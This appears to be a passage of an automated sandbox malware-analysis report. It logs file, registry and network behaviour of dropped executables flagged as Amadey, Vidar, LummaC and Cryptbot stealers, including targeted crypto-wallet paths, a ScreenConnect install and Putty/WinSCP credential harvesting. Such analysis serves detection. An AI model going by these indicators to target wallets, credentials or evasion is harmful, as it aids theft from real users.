Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Queries volume information: C:\ VolumeInformation
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Queries volume information: C:\ VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\Windows\System32\WinMetadata\Windows.Globalization.winmd VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Controls.Ribbon\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Controls.Ribbon.dll VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.InteropServices.WindowsRuntime\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.InteropServices.WindowsRuntime.dll VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\Windows\System32\WinMetadata\Windows.Data.winmd VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WPF8933.tmp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.WindowsInstaller.dll VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.InstallerActions.dll VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.Core.dll VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Core.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Client.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Client.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Core.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Client.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Core.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B5CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00B5CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_007A65E0 LookupAccountNameA,

6_2_007A65E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_007E2517 GetTimeZoneInformation,

6_2_007E2517

Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies security policies related information

Source: C:\Windows\System32\msiexec.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa Authentication Packages

Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: 54ad0685cd.exe, 00000020.00000003.3452321121.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3477582208.000000000581D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3451310015.000000000581E000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3487222293.0000000000F80000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3458155046.0000000000F8C000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3537320961.000000000581E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.b40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2317073116.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2357645239.0000000004880000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2679300626.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2368517680.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 54ad0685cd.exe PID: 6696, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 20.0.20eec459fe6c4c019b42190414a26a1f.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.20eec459fe6c4c019b42190414a26a1f.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2976798123.0000000003AD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NN9Dd7c.exe PID: 1592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 20eec459fe6c4c019b42190414a26a1f.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 54ad0685cd.exe, 00000020.00000003.3536747668.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: 54ad0685cd.exe, 00000020.00000003.3536747668.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: f4d805b7c6.exe, 00000013.00000002.2961646069.0000000004F90000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: JA9tbD6HjaXXvXThiII
Source: 54ad0685cd.exe, 00000020.00000003.3536747668.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 54ad0685cd.exe, 00000020.00000003.3419270172.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 54ad0685cd.exe, 00000020.00000003.3419270172.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: 54ad0685cd.exe, 00000020.00000003.3536747668.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: 54ad0685cd.exe, 00000020.00000003.3458543246.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: powershell.exe, 0000000A.00000002.2821466785.0000000005CF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.6:50025 -> 176.53.146.212:80

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

